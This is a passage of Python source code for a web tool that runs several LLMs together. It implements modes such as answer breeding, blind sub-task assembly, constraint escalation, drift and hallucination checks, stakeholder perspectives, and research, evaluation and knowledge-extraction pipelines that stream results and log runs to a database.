score_prompt = f"Question: {prompt}\n\nRate each answer 1-100. Return ONLY a JSON object like {{\"model_name\": score}}.\n\n"
|
|
for m, r in population.items():
|
|
score_prompt += f"[{m}]: {r.strip()}\n\n"
|
|
try:
|
|
scores_raw = query_model(judge, score_prompt)
|
|
yield sse({"type": "response", "model": judge, "text": scores_raw, "role": f"fitness gen {gen}"})
|
|
except Exception as e:
|
|
yield sse({"type": "response", "model": judge, "text": str(e), "role": "error"}); continue
|
|
|
|
# Breed: take top 2 answers, ask a model to combine them
|
|
pop_list = list(population.items())
|
|
if len(pop_list) < 2: break
|
|
|
|
parent1, parent2 = pop_list[0], pop_list[1]
|
|
yield sse({"type": "status", "message": f"Generation {gen}: breeding + mutating..."})
|
|
|
|
new_population = {}
|
|
for m in models:
|
|
breed_prompt = (
|
|
f"Question: {prompt}\n\n"
|
|
f"Parent A ({parent1[0]}):\n{parent1[1].strip()}\n\n"
|
|
f"Parent B ({parent2[0]}):\n{parent2[1].strip()}\n\n"
|
|
f"You are {m}. Breed these two answers: take the best parts of each parent, "
|
|
f"combine them, then MUTATE by adding one novel insight or improvement. "
|
|
f"Return your evolved answer."
|
|
)
|
|
try:
|
|
offspring = query_model(m, breed_prompt)
|
|
new_population[m] = offspring
|
|
is_last = gen == generations
|
|
yield sse({"type": "response", "model": m, "text": offspring, "role": "final" if is_last else f"gen {gen}"})
|
|
except Exception as e:
|
|
new_population[m] = population.get(m, "")
|
|
yield sse({"type": "response", "model": m, "text": str(e), "role": "error"})
|
|
|
|
population = new_population
|
|
|
|
|
|
def run_blindassembly(config):
|
|
"""Split question into parts, each model answers blind, assembler stitches."""
|
|
prompt, models = config["prompt"], config.get("models", [])
|
|
assembler = config.get("assembler", models[0] if models else "qwen2.5")
|
|
yield sse({"type": "clear"})
|
|
|
|
if not models: return
|
|
n = len(models)
|
|
|
|
# Step 1: Decompose the question
|
|
yield sse({"type": "status", "message": "Decomposing question into sub-tasks..."})
|
|
decompose_prompt = (
|
|
f"Split this question into exactly {n} independent sub-parts that together fully answer it. "
|
|
f"Return ONLY a numbered list, one sub-question per line. No other text.\n\n"
|
|
f"Question: {prompt}"
|
|
)
|
|
try:
|
|
parts_raw = query_model(assembler, decompose_prompt)
|
|
yield sse({"type": "response", "model": assembler, "text": parts_raw, "role": "decomposer"})
|
|
except Exception as e:
|
|
yield sse({"type": "response", "model": assembler, "text": str(e), "role": "error"}); return
|
|
|
|
# Parse parts
|
|
parts = [line.strip() for line in parts_raw.strip().split("\n") if line.strip() and any(c.isalpha() for c in line)]
|
|
while len(parts) < n:
|
|
parts.append(f"Additional aspect of: {prompt}")
|
|
parts = parts[:n]
|
|
|
|
# Step 2: Each model answers their part BLIND
|
|
yield sse({"type": "status", "message": f"Sending {n} sub-tasks to models (blind)..."})
|
|
fragments = {}
|
|
with ThreadPoolExecutor(max_workers=n) as pool:
|
|
futures = {}
|
|
for i, m in enumerate(models):
|
|
blind_prompt = (
|
|
f"Answer ONLY this specific sub-question. Do not address anything else.\n\n"
|
|
f"Sub-question: {parts[i]}"
|
|
)
|
|
futures[pool.submit(query_model, m, blind_prompt)] = (m, parts[i])
|
|
|
|
for future in as_completed(futures):
|
|
m, part = futures[future]
|
|
try:
|
|
fragments[m] = {"part": part, "answer": future.result()}
|
|
yield sse({"type": "response", "model": m, "text": f"SUB-TASK: {part}\n\nANSWER:\n{fragments[m]['answer']}", "role": "blind worker"})
|
|
except Exception as e:
|
|
yield sse({"type": "response", "model": m, "text": str(e), "role": "error"})
|
|
|
|
# Step 3: Assemble
|
|
yield sse({"type": "status", "message": f"{assembler} assembling blind fragments..."})
|
|
assemble_prompt = f"Original question: {prompt}\n\nMultiple models each answered a sub-part WITHOUT seeing each other:\n\n"
|
|
for m, data in fragments.items():
|
|
assemble_prompt += f"[{m}] (sub-task: {data['part']}):\n{data['answer'].strip()}\n\n"
|
|
assemble_prompt += "Stitch these fragments into ONE coherent, complete answer. Fill any gaps. Remove contradictions."
|
|
|
|
try:
|
|
yield sse({"type": "response", "model": assembler, "text": query_model(assembler, assemble_prompt), "role": "assembler"})
|
|
except Exception as e:
|
|
yield sse({"type": "response", "model": assembler, "text": str(e), "role": "error"})
|
|
|
|
|
|
def run_staircase(config):
|
|
"""Devil's Staircase: each round adds a new constraint."""
|
|
prompt = config["prompt"]
|
|
answerer = config["answerer"]
|
|
challenger = config["challenger"]
|
|
steps = config.get("steps", 4)
|
|
yield sse({"type": "clear"})
|
|
|
|
# Initial answer
|
|
yield sse({"type": "status", "message": f"{answerer} answering..."})
|
|
try:
|
|
current = query_model(answerer, prompt)
|
|
yield sse({"type": "response", "model": answerer, "text": current, "role": "initial answer"})
|
|
except Exception as e:
|
|
yield sse({"type": "response", "model": answerer, "text": str(e), "role": "error"}); return
|
|
|
|
constraints = []
|
|
for s in range(steps):
|
|
# Challenger adds a constraint
|
|
yield sse({"type": "status", "message": f"Step {s+1}: {challenger} adding constraint..."})
|
|
constraint_prompt = (
|
|
f"Original question: {prompt}\n\n"
|
|
f"Current answer:\n{current}\n\n"
|
|
f"Existing constraints: {constraints if constraints else 'None yet'}\n\n"
|
|
f"Add ONE new realistic constraint, complication, or edge case that the current answer doesn't handle. "
|
|
f"Make it specific and challenging but plausible. State ONLY the new constraint, nothing else."
|
|
)
|
|
try:
|
|
new_constraint = query_model(challenger, constraint_prompt)
|
|
constraints.append(new_constraint.strip())
|
|
yield sse({"type": "response", "model": challenger, "text": new_constraint, "role": f"constraint {s+1}"})
|
|
except Exception as e:
|
|
yield sse({"type": "response", "model": challenger, "text": str(e), "role": "error"}); continue
|
|
|
|
# Answerer must adapt
|
|
yield sse({"type": "status", "message": f"Step {s+1}: {answerer} adapting..."})
|
|
adapt_prompt = (
|
|
f"Original question: {prompt}\n\n"
|
|
f"ALL constraints you must satisfy:\n" +
|
|
"\n".join(f" {i+1}. {c}" for i, c in enumerate(constraints)) +
|
|
f"\n\nYour previous answer:\n{current}\n\n"
|
|
f"Rewrite your answer to handle ALL constraints. Return the complete updated answer."
|
|
)
|
|
try:
|
|
current = query_model(answerer, adapt_prompt)
|
|
is_last = s == steps - 1
|
|
yield sse({"type": "response", "model": answerer, "text": current, "role": "final" if is_last else f"adapted {s+1}"})
|
|
except Exception as e:
|
|
yield sse({"type": "response", "model": answerer, "text": str(e), "role": "error"})
|
|
|
|
|
|
def run_drift(config):
|
|
"""Same prompt N times to same model, analyze variance."""
|
|
prompt = config["prompt"]
|
|
target = config["target"]
|
|
samples = config.get("samples", 5)
|
|
analyzer = config["analyzer"]
|
|
yield sse({"type": "clear"})
|
|
|
|
yield sse({"type": "status", "message": f"Sampling {target} {samples} times..."})
|
|
results = []
|
|
for i in range(samples):
|
|
yield sse({"type": "status", "message": f"Sample {i+1}/{samples}..."})
|
|
try:
|
|
r = query_model(target, prompt)
|
|
results.append(r)
|
|
yield sse({"type": "response", "model": target, "text": r, "role": f"sample {i+1}"})
|
|
except Exception as e:
|
|
yield sse({"type": "response", "model": target, "text": str(e), "role": "error"})
|
|
|
|
if len(results) < 2: return
|
|
|
|
# Analyze
|
|
yield sse({"type": "status", "message": f"{analyzer} analyzing drift..."})
|
|
analysis_prompt = (
|
|
f"Question asked: {prompt}\n\n"
|
|
f"The model '{target}' was asked this same question {len(results)} times. Here are all responses:\n\n"
|
|
)
|
|
for i, r in enumerate(results):
|
|
analysis_prompt += f"--- Sample {i+1} ---\n{r.strip()}\n\n"
|
|
|
|
analysis_prompt += (
|
|
"DRIFT ANALYSIS:\n"
|
|
"1. What claims/facts are CONSISTENT across all samples? (HIGH CONFIDENCE)\n"
|
|
"2. What claims VARY between samples? (LOW CONFIDENCE - possible hallucination)\n"
|
|
"3. What is completely CONTRADICTED between samples? (UNRELIABLE)\n"
|
|
"4. Give an overall confidence score 1-10 for the model's answer to this question.\n"
|
|
"5. Provide the 'true' answer using only high-confidence claims."
|
|
)
|
|
try:
|
|
yield sse({"type": "response", "model": analyzer, "text": query_model(analyzer, analysis_prompt), "role": "analyzer"})
|
|
except Exception as e:
|
|
yield sse({"type": "response", "model": analyzer, "text": str(e), "role": "error"})
|
|
|
|
|
|
def run_mesh(config):
|
|
"""Each model answers as a different stakeholder."""
|
|
prompt, models = config["prompt"], config.get("models", [])
|
|
synthesizer = config.get("synthesizer", models[0] if models else "qwen2.5")
|
|
yield sse({"type": "clear"})
|
|
|
|
perspectives = [
|
|
("CEO / Business Leader", "You are a CEO. Answer from a business strategy perspective: ROI, market impact, competitive advantage, risk."),
|
|
("Software Engineer", "You are a senior engineer. Answer from a technical perspective: architecture, implementation, scalability, tech debt."),
|
|
("End User / Customer", "You are an end user/customer. Answer from a usability perspective: experience, pain points, what you actually need."),
|
|
("Regulator / Legal", "You are a regulator/legal advisor. Answer from a compliance perspective: laws, regulations, liability, ethics, privacy."),
|
|
("Competitor", "You are a competitor analyzing this. What threats/opportunities does this create? What would you do differently?"),
|
|
]
|
|
|
|
if not models: return
|
|
|
|
responses = {}
|
|
for i, (role_name, instruction) in enumerate(perspectives):
|
|
m = models[i % len(models)]
|
|
yield sse({"type": "status", "message": f"{role_name}: {m}..."})
|
|
try:
|
|
r = query_model(m, f"{instruction}\n\nQuestion: {prompt}")
|
|
responses[role_name] = (m, r)
|
|
yield sse({"type": "response", "model": m, "text": r, "role": role_name})
|
|
except Exception as e:
|
|
yield sse({"type": "response", "model": m, "text": str(e), "role": "error"})
|
|
|
|
# 360 synthesis
|
|
yield sse({"type": "status", "message": f"{synthesizer} weaving 360-degree view..."})
|
|
syn = f"Question: {prompt}\n\nMultiple stakeholders gave their perspective:\n\n"
|
|
for role, (m, r) in responses.items():
|
|
syn += f"[{role} ({m})]: {r.strip()}\n\n"
|
|
syn += "Synthesize a 360-degree view that balances all stakeholder perspectives. Highlight tensions and trade-offs."
|
|
try:
|
|
yield sse({"type": "response", "model": synthesizer, "text": query_model(synthesizer, syn), "role": "mesh-360"})
|
|
except Exception as e:
|
|
yield sse({"type": "response", "model": synthesizer, "text": str(e), "role": "error"})
|
|
|
|
|
|
def run_hallucination(config):
|
|
"""One answers, hunters verify each claim independently."""
|
|
prompt, answerer = config["prompt"], config["answerer"]
|
|
hunters = config.get("hunters", [])
|
|
yield sse({"type": "clear"})
|
|
|
|
# Get answer
|
|
yield sse({"type": "status", "message": f"{answerer} answering..."})
|
|
try:
|
|
answer = query_model(answerer, prompt)
|
|
yield sse({"type": "response", "model": answerer, "text": answer, "role": "answer"})
|
|
except Exception as e:
|
|
yield sse({"type": "response", "model": answerer, "text": str(e), "role": "error"}); return
|
|
|
|
# Extract claims
|
|
yield sse({"type": "status", "message": "Extracting factual claims..."})
|
|
extract_prompt = (
|
|
f"Extract every factual claim from this answer as a numbered list. Include specific facts, numbers, dates, "
|
|
f"names, and cause-effect relationships. One claim per line.\n\nAnswer:\n{answer}"
|
|
)
|
|
try:
|
|
claims = query_model(answerer, extract_prompt)
|
|
yield sse({"type": "response", "model": answerer, "text": claims, "role": "claims extracted"})
|
|
except Exception as e:
|
|
yield sse({"type": "response", "model": answerer, "text": str(e), "role": "error"}); return
|
|
|
|
# Each hunter verifies independently
|
|
yield sse({"type": "status", "message": f"{len(hunters)} hunters verifying claims..."})
|
|
hunt_prompt = (
|
|
f"Original question: {prompt}\n\n"
|
|
f"An AI generated this answer:\n{answer}\n\n"
|
|
f"Here are the extracted claims:\n{claims}\n\n"
|
|
f"For EACH claim, verdict:\n"
|
|
f" VERIFIED - you are confident this is correct\n"
|
|
f" SUSPICIOUS - might be wrong or misleading\n"
|
|
f" HALLUCINATED - this is likely made up or incorrect\n"
|
|
f" UNVERIFIABLE - cannot determine from your knowledge\n"
|
|
f"Explain your reasoning for suspicious/hallucinated claims."
|
|
)
|
|
results = parallel_query(hunters, hunt_prompt)
|
|
for m, r in results.items():
|
|
yield sse({"type": "response", "model": m, "text": r, "role": "hunter"})
|
|
|
|
|
|
def run_timeloop(config):
|
|
"""CHAOS MODE: answer -> catastrophe -> fix -> new catastrophe -> repeat."""
|
|
prompt = config["prompt"]
|
|
answerer = config["answerer"]
|
|
chaos = config["chaos"]
|
|
loops = config.get("loops", 4)
|
|
yield sse({"type": "clear"})
|
|
|
|
# Initial answer
|
|
yield sse({"type": "status", "message": f"{answerer} answering (unaware of impending doom)..."})
|
|
try:
|
|
current = query_model(answerer, prompt)
|
|
yield sse({"type": "response", "model": answerer, "text": current, "role": "initial (doomed)"})
|
|
except Exception as e:
|
|
yield sse({"type": "response", "model": answerer, "text": str(e), "role": "error"}); return
|
|
|
|
catastrophes = []
|
|
for i in range(loops):
|
|
# Chaos agent creates a catastrophe
|
|
yield sse({"type": "status", "message": f"Loop {i+1}: CHAOS AGENT unleashed..."})
|
|
chaos_prompt = (
|
|
f"Original question: {prompt}\n\n"
|
|
f"Someone implemented this answer:\n{current}\n\n"
|
|
f"Previous catastrophes that were already fixed: {catastrophes if catastrophes else 'None yet'}\n\n"
|
|
f"You are a CHAOS AGENT. Describe a SPECIFIC, VIVID catastrophe that happened because of a flaw "
|
|
f"in this answer. Be creative and dramatic but grounded in a real flaw. "
|
|
f"Describe: 1) What went wrong 2) The cascading consequences 3) Who/what was affected. "
|
|
f"Make it different from previous catastrophes. Be theatrical!"
|
|
)
|
|
try:
|
|
catastrophe = query_model(chaos, chaos_prompt)
|
|
catastrophes.append(catastrophe.strip()[:200])
|
|
yield sse({"type": "response", "model": chaos, "text": catastrophe, "role": f"catastrophe {i+1}"})
|
|
except Exception as e:
|
|
yield sse({"type": "response", "model": chaos, "text": str(e), "role": "error"}); continue
|
|
|
|
# Answerer must fix
|
|
yield sse({"type": "status", "message": f"Loop {i+1}: {answerer} desperately fixing..."})
|
|
fix_prompt = (
|
|
f"Original question: {prompt}\n\n"
|
|
f"Your previous answer:\n{current}\n\n"
|
|
f"CATASTROPHE REPORT:\n{catastrophe}\n\n"
|
|
f"ALL previous catastrophes you must also prevent:\n" +
|
|
"\n".join(f" {j+1}. {c}" for j, c in enumerate(catastrophes)) +
|
|
f"\n\nRewrite your answer to prevent THIS catastrophe and ALL previous ones. "
|
|
f"Your answer must be BULLETPROOF. Return the complete fixed answer."
|
|
)
|
|
try:
|
|
current = query_model(answerer, fix_prompt)
|
|
is_last = i == loops - 1
|
|
yield sse({"type": "response", "model": answerer, "text": current, "role": "survivor" if is_last else f"fix {i+1}"})
|
|
except Exception as e:
|
|
yield sse({"type": "response", "model": answerer, "text": str(e), "role": "error"})
|
|
|
|
# Final verdict from chaos agent
|
|
yield sse({"type": "status", "message": f"{chaos} final inspection..."})
|
|
final_prompt = (
|
|
f"Original question: {prompt}\n\n"
|
|
f"After {loops} catastrophes, the final answer is:\n{current}\n\n"
|
|
f"All catastrophes it survived:\n" +
|
|
"\n".join(f" {j+1}. {c}" for j, c in enumerate(catastrophes)) +
|
|
f"\n\nAs the Chaos Agent, give your final verdict: Is this answer now truly bulletproof? "
|
|
f"Rate its resilience 1-10. Can you find ONE MORE flaw? If not, admit defeat."
|
|
)
|
|
try:
|
|
yield sse({"type": "response", "model": chaos, "text": query_model(chaos, final_prompt), "role": "final judgment"})
|
|
except Exception as e:
|
|
yield sse({"type": "response", "model": chaos, "text": str(e), "role": "error"})
|
|
|
|
|
|
# ─── AUTONOMOUS PIPELINES ─────────────────────────────────────
|
|
|
|
def _save_pipeline(pipeline, topic, steps, result, models, start_ms):
|
|
import time
|
|
duration = int((time.time() * 1000) - start_ms)
|
|
try:
|
|
with get_db() as conn:
|
|
with conn.cursor() as cur:
|
|
cur.execute(
|
|
"""INSERT INTO pipeline_runs (pipeline, topic, status, steps, result, models_used, duration_ms, completed_at)
|
|
VALUES (%s, %s, 'completed', %s, %s, %s, %s, NOW())""",
|
|
(pipeline, topic, json.dumps(steps), json.dumps(result), list(set(models)), duration)
|
|
)
|
|
conn.commit()
|
|
except Exception as e:
|
|
print(f"[DB] pipeline save error: {e}")
|
|
|
|
|
|
def run_research(config):
|
|
"""Autonomous research pipeline: scout → parallel research → fact-check → synthesize."""
|
|
import time
|
|
start = time.time() * 1000
|
|
prompt = config["prompt"]
|
|
scout = config.get("scout", "llama3.2:latest")
|
|
models = config.get("models", [])
|
|
checker = config.get("checker", models[0] if models else scout)
|
|
synth = config.get("synthesizer", models[0] if models else scout)
|
|
num_q = min(config.get("num_questions", 5), 15) # hard cap at 15
|
|
yield sse({"type": "clear"})
|
|
total_steps = 4
|
|
steps = []
|
|
all_models = [scout, checker, synth] + models
|
|
|
|
# Step 1: Scout generates research questions
|
|
yield sse({"type": "progress", "step": 1, "total_steps": total_steps, "substep": f"{scout} generating {num_q} research questions...", "percent": 5})
|
|
yield sse({"type": "status", "message": f"Step 1/{total_steps}: {scout} generating {num_q} research questions..."})
|
|
try:
|
|
q_prompt = (
|
|
f"You are a research scout. Given the topic below, generate exactly {num_q} specific, "
|
|
f"diverse research questions that would build a comprehensive understanding. "
|
|
f"Return ONLY a numbered list.\n\nTopic: {prompt}"
|
|
)
|
|
questions_raw = query_model(scout, q_prompt)
|
|
yield sse({"type": "response", "model": scout, "text": questions_raw, "role": "scout"})
|
|
steps.append({"step": "scout", "model": scout, "output": questions_raw})
|
|
except Exception as e:
|
|
yield sse({"type": "response", "model": scout, "text": str(e), "role": "error"})
|
|
return
|
|
|
|
# Parse questions
|
|
questions = [l.strip() for l in questions_raw.strip().split("\n") if l.strip() and any(c.isalpha() for c in l)]
|
|
questions = questions[:num_q]
|
|
if not questions:
|
|
yield sse({"type": "response", "model": "system", "text": "Failed to parse research questions.", "role": "error"})
|
|
return
|
|
|
|
yield sse({"type": "progress", "step": 1, "total_steps": total_steps, "substep": f"Parsed {len(questions)} questions", "percent": 15})
|
|
|
|
# Step 2: Parallel research — distribute questions across models
|
|
yield sse({"type": "progress", "step": 2, "total_steps": total_steps, "substep": f"0/{len(questions)} questions researched...", "percent": 18})
|
|
yield sse({"type": "status", "message": f"Step 2/{total_steps}: {len(models)} models researching {len(questions)} questions..."})
|
|
research_results = {}
|
|
completed_q = 0
|
|
failed_q = 0
|
|
with ThreadPoolExecutor(max_workers=max(len(models), 1)) as pool:
|
|
futures = {}
|
|
for i, q in enumerate(questions):
|
|
m = models[i % len(models)] if models else scout
|
|
rp = f"Research this question thoroughly. Provide specific facts, data, and examples.\n\nQuestion: {q}"
|
|
futures[pool.submit(query_model, m, rp)] = (m, q)
|
|
for future in as_completed(futures):
|
|
m, q = futures[future]
|
|
try:
|
|
answer = future.result()
|
|
# Cap individual research answers to prevent context explosion
|
|
if len(answer) > 8000:
|
|
answer = answer[:7500] + "\n\n[... response truncated for pipeline stability ...]"
|
|
research_results[q] = {"model": m, "answer": answer}
|
|
completed_q += 1
|
|
pct = 18 + int((completed_q / len(questions)) * 42)
|
|
yield sse({"type": "progress", "step": 2, "total_steps": total_steps, "substep": f"{completed_q}/{len(questions)} questions researched", "percent": pct})
|
|
yield sse({"type": "response", "model": m, "text": f"Q: {q}\n\n{answer}", "role": "researcher"})
|
|
except Exception as e:
|
|
failed_q += 1
|
|
completed_q += 1
|
|
pct = 18 + int((completed_q / len(questions)) * 42)
|
|
yield sse({"type": "progress", "step": 2, "total_steps": total_steps, "substep": f"{completed_q}/{len(questions)} ({failed_q} failed)", "percent": pct})
|
|
yield sse({"type": "response", "model": m, "text": f"Q: {q}\n\nError: {e}", "role": "error"})
|
|
research_results[q] = {"model": m, "answer": f"Error: {e}"}
|
|
steps.append({"step": "research", "results": {q: r["answer"][:500] for q, r in research_results.items()}})
|
|
|
|
# Step 3: Fact-check — cap context to prevent OOM
|
|
yield sse({"type": "progress", "step": 3, "total_steps": total_steps, "substep": f"{checker} fact-checking...", "percent": 62})
|
|
yield sse({"type": "status", "message": f"Step 3/{total_steps}: {checker} fact-checking all findings..."})
|
|
check_prompt = f"Topic: {prompt}\n\nResearch findings to fact-check:\n\n"
|
|
# Smart truncation: fit within context limits
|
|
per_answer_cap = min(300, 3000 // max(len(research_results), 1))
|
|
for q, r in research_results.items():
|
|
if r["answer"].startswith("Error:"):
|
|
continue
|
|
check_prompt += f"Q: {q}\nA: {r['answer'][:per_answer_cap]}\n\n"
|
|
check_prompt += (
|
|
"For each finding, mark as:\n"
|
|
" VERIFIED — likely accurate\n"
|
|
" UNCERTAIN — may be wrong or outdated\n"
|
|
" FLAGGED — likely inaccurate\n"
|
|
"Be specific about what's wrong with flagged items."
|
|
)
|
|
try:
|
|
check_result = query_model(checker, check_prompt)
|
|
yield sse({"type": "response", "model": checker, "text": check_result, "role": "fact-checker"})
|
|
steps.append({"step": "fact-check", "model": checker, "output": check_result[:1000]})
|
|
except Exception as e:
|
|
check_result = f"Error: {e}"
|
|
yield sse({"type": "response", "model": checker, "text": str(e), "role": "error"})
|
|
|
|
# Step 4: Synthesize into brief — cap context
|
|
yield sse({"type": "progress", "step": 4, "total_steps": total_steps, "substep": f"{synth} synthesizing brief...", "percent": 80})
|
|
yield sse({"type": "status", "message": f"Step 4/{total_steps}: {synth} synthesizing research brief..."})
|
|
synth_prompt = f"Topic: {prompt}\n\nResearch findings:\n\n"
|
|
per_synth_cap = min(400, 4000 // max(len(research_results), 1))
|
|
for q, r in research_results.items():
|
|
if r["answer"].startswith("Error:"):
|
|
synth_prompt += f"Q: {q}\nA: [research failed]\n\n"
|
|
else:
|
|
synth_prompt += f"Q: {q}\nA: {r['answer'][:per_synth_cap]}\n\n"
|
|
synth_prompt += f"\nFact-check notes:\n{check_result[:500]}\n\n"
|
|
synth_prompt += (
|
|
"Synthesize ALL findings into a structured research brief with these sections:\n"
|
|
"1. EXECUTIVE SUMMARY (2-3 sentences)\n"
|
|
"2. KEY FINDINGS (bulleted list)\n"
|
|
"3. DETAILED ANALYSIS (organized by theme)\n"
|
|
"4. UNCERTAINTIES & GAPS (what needs more research)\n"
|
|
"5. RECOMMENDATIONS (actionable next steps)\n"
|
|
"Be comprehensive but concise."
|
|
)
|
|
try:
|
|
brief = query_model(synth, synth_prompt)
|
|
yield sse({"type": "response", "model": synth, "text": brief, "role": "synthesis"})
|
|
steps.append({"step": "synthesis", "model": synth, "output": brief[:2000]})
|
|
except Exception as e:
|
|
brief = f"Error: {e}"
|
|
yield sse({"type": "response", "model": synth, "text": str(e), "role": "error"})
|
|
|
|
yield sse({"type": "progress", "step": 4, "total_steps": total_steps, "substep": "Research complete", "percent": 100})
|
|
|
|
# Save pipeline run
|
|
_save_pipeline("research", prompt, steps, {"brief": brief, "questions": questions, "fact_check": check_result[:1000]}, all_models, start)
|
|
|
|
|
|
def run_eval(config):
|
|
"""Model evaluation pipeline: same prompts → all models → judge scores → leaderboard."""
|
|
import time
|
|
start = time.time() * 1000
|
|
prompt = config["prompt"]
|
|
models = config.get("models", [])
|
|
judge = config.get("judge", models[0] if models else "qwen2.5:latest")
|
|
eval_type = config.get("eval_type", "general")
|
|
rounds = config.get("rounds", 3)
|
|
yield sse({"type": "clear"})
|
|
steps = []
|
|
all_models = models + [judge]
|
|
|
|
# Generate eval prompts based on type
|
|
yield sse({"type": "status", "message": f"Generating {rounds} {eval_type} evaluation prompts..."})
|
|
gen_prompt = (
|
|
f"Generate exactly {rounds} evaluation prompts for testing LLM capability in: {eval_type}.\n"
|
|
f"Context/focus area: {prompt}\n\n"
|
|
f"Each prompt should test a different aspect. Return ONLY a numbered list of prompts, nothing else."
|
|
)
|
|
try:
|
|
prompts_raw = query_model(judge, gen_prompt)
|
|
yield sse({"type": "response", "model": judge, "text": prompts_raw, "role": "prompt generator"})
|
|
except Exception as e:
|
|
yield sse({"type": "response", "model": judge, "text": str(e), "role": "error"})
|
|
return
|
|
|
|
eval_prompts = [l.strip() for l in prompts_raw.strip().split("\n") if l.strip() and any(c.isalpha() for c in l)]
|
|
eval_prompts = eval_prompts[:rounds]
|
|
if not eval_prompts:
|
|
yield sse({"type": "response", "model": "system", "text": "Failed to generate eval prompts.", "role": "error"})
|
|
return
|
|
|
|
# Run each prompt against all models
|
|
scores = {m: [] for m in models}
|
|
for ri, ep in enumerate(eval_prompts):
|
|
yield sse({"type": "status", "message": f"Round {ri+1}/{len(eval_prompts)}: Testing {len(models)} models..."})
|
|
|
|
# All models answer in parallel
|
|
responses = parallel_query(models, ep)
|
|
for m, r in responses.items():
|
|
yield sse({"type": "response", "model": m, "text": f"[Round {ri+1}] {ep[:80]}...\n\n{r}", "role": f"round {ri+1}"})
|
|
|
|
# Judge scores all responses
|
|
yield sse({"type": "status", "message": f"Round {ri+1}: Judging..."})
|
|
judge_prompt = (
|
|
f"Evaluation prompt: {ep}\n\n"
|
|
f"Score each model's response 1-10 on: accuracy, completeness, clarity, reasoning.\n"
|
|
f"Return a JSON object: {{\"model_name\": {{\"score\": N, \"notes\": \"brief note\"}}}}.\n\n"
|
|
)
|
|
for m, r in responses.items():
|
|
judge_prompt += f"[{m}]:\n{r[:500]}\n\n"
|
|
try:
|
|
judgment = query_model(judge, judge_prompt)
|
|
yield sse({"type": "response", "model": judge, "text": judgment, "role": f"judge round {ri+1}"})
|
|
# Try to parse scores
|
|
try:
|
|
import re
|
|
# Find numbers after model names
|
|
for m in models:
|
|
# Look for score patterns near model name
|
|
pattern = re.escape(m) + r'.*?["\s:]+(\d+)'
|
|
match = re.search(pattern, judgment, re.IGNORECASE | re.DOTALL)
|
|
if match:
|
|
scores[m].append(int(match.group(1)))
|
|
except Exception:
|
|
pass
|
|
except Exception as e:
|
|
yield sse({"type": "response", "model": judge, "text": str(e), "role": "error"})
|
|
|
|
steps.append({"round": ri+1, "prompt": ep, "responses": {m: r[:300] for m, r in responses.items()}})
|
|
|
|
# Final leaderboard
|
|
yield sse({"type": "status", "message": "Generating leaderboard..."})
|
|
leaderboard = []
|
|
for m in models:
|
|
avg = sum(scores[m]) / len(scores[m]) if scores[m] else 0
|
|
leaderboard.append({"model": m, "avg_score": round(avg, 1), "rounds": len(scores[m]), "scores": scores[m]})
|
|
leaderboard.sort(key=lambda x: x["avg_score"], reverse=True)
|
|
|
|
board_text = f"LEADERBOARD — {eval_type.upper()} ({len(eval_prompts)} rounds)\n{'='*50}\n\n"
|
|
for i, entry in enumerate(leaderboard):
|
|
medal = ["1st", "2nd", "3rd"][i] if i < 3 else f"{i+1}th"
|
|
bar = "#" * int(entry["avg_score"])
|
|
board_text += f" {medal} {entry['model']:<30} {entry['avg_score']:>4}/10 {bar}\n"
|
|
if entry["scores"]:
|
|
board_text += f" Round scores: {entry['scores']}\n\n"
|
|
|
|
yield sse({"type": "response", "model": judge, "text": board_text, "role": "final"})
|
|
|
|
_save_pipeline("eval", prompt, steps, {"leaderboard": leaderboard, "eval_type": eval_type}, all_models, start)
|
|
|
|
|
|
def run_extract(config):
|
|
"""Knowledge extraction pipeline: chunk text → extract facts → verify → structured output."""
|
|
import time
|
|
start = time.time() * 1000
|
|
prompt = config["prompt"]
|
|
extractor = config.get("extractor", "qwen2.5:latest")
|
|
verifier = config.get("verifier", "gemma2:latest")
|
|
source = config.get("source", "prompt")
|
|
yield sse({"type": "clear"})
|
|
steps = []
|
|
all_models = [extractor, verifier]
|
|
|
|
# Get source text
|
|
source_text = prompt
|
|
if source != "prompt":
|
|
file_map = {
|
|
"ontology": "/home/profit/ONTOLOGY.md",
|
|
"index": "/home/profit/INDEX.md",
|
|
"summaries": "/home/profit/SUMMARIES.md",
|
|
"guides": "/home/profit/GUIDES.md",
|
|
}
|
|
fpath = file_map.get(source)
|
|
if fpath and os.path.exists(fpath):
|
|
yield sse({"type": "status", "message": f"Reading {source}..."})
|
|
with open(fpath) as f:
|
|
source_text = f.read()[:15000] # limit to ~15K chars
|
|
yield sse({"type": "response", "model": "system", "text": f"Loaded {source} ({len(source_text)} chars)", "role": "source"})
|
|
else:
|
|
yield sse({"type": "response", "model": "system", "text": f"File not found: {source}", "role": "error"})
|
|
return
|
|
|
|
# Chunk if too long
|
|
chunks = []
|
|
chunk_size = 4000
|
|
for i in range(0, len(source_text), chunk_size):
|
|
chunks.append(source_text[i:i+chunk_size])
|
|
|
|
yield sse({"type": "status", "message": f"Processing {len(chunks)} chunk(s) with {extractor}..."})
|
|
|
|
all_facts = []
|
|
all_entities = []
|
|
all_relations = []
|
|
|
|
for ci, chunk in enumerate(chunks):
|
|
yield sse({"type": "status", "message": f"Extracting from chunk {ci+1}/{len(chunks)}..."})
|
|
extract_prompt = (
|
|
f"Extract structured knowledge from this text. Return a JSON object with:\n"
|
|
f" \"facts\": [\"fact 1\", \"fact 2\", ...],\n"
|
|
f" \"entities\": [{{\"name\": \"...\", \"type\": \"...\", \"description\": \"...\"}}, ...],\n"
|
|
f" \"relationships\": [{{\"from\": \"...\", \"to\": \"...\", \"type\": \"...\"}}, ...]\n\n"
|
|
f"Be thorough. Extract EVERY factual claim, named entity, and relationship.\n\n"
|
|
f"Text:\n{chunk}"
|
|
)
|
|
try:
|
|
result = query_model(extractor, extract_prompt)
|
|
yield sse({"type": "response", "model": extractor, "text": result, "role": f"extraction {ci+1}"})
|
|
# Try to parse JSON from response
|
|
try:
|
|
import re
|
|
json_match = re.search(r'\{[\s\S]*\}', result)
|
|
if json_match:
|
|
parsed = json.loads(json_match.group())
|
|
all_facts.extend(parsed.get("facts", []))
|
|
all_entities.extend(parsed.get("entities", []))
|
|
all_relations.extend(parsed.get("relationships", []))
|
|
except Exception:
|
|
all_facts.append(result[:500])
|
|
except Exception as e:
|
|
yield sse({"type": "response", "model": extractor, "text": str(e), "role": "error"})
|
|
|
|
steps.append({"step": "extraction", "facts": len(all_facts), "entities": len(all_entities), "relations": len(all_relations)})
|
|
|
|
# Verify key facts
|
|
yield sse({"type": "status", "message": f"{verifier} verifying {len(all_facts)} facts..."})
|
|
facts_sample = all_facts[:20] # verify up to 20
|
|
verify_prompt = (
|
|
